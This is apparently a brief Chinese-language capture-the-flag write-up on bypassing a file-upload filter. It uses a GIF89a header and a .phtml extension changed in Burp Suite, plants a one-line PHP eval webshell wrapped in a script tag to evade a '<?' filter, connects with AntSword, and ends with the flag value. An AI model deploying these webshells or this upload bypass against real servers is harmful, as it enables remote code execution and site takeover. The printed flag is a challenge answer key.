先上传一个无内容的jpg文件
文件里面要加GIF89a
上传了一个小马代码为
<?=@eval($_POST['cmd']);
不能包含<?,所以
换另一个小马代码
<script language="php">@eval($_POST['cmd']);phpinfo();</script>
第一个点,修改phtml,第二个点GIF89a(这个点特别的重要,上面我写的代码没有包含),第三个点要用<script>包含
bp后缀名修改phtml,加上下面代码
GIF89a
<script language="php">@eval($_POST['cmd']);phpinfo();</script>
上传的文件夹upload,找到我们上传的文件
scriptcmd.phtml是我们上传的webshell
我写的webshell里面加了phpinfo();
蚁剑连接,获得flag
flag{5fdfe18f-ff94-4a5c-be2b-213cb4f6b374}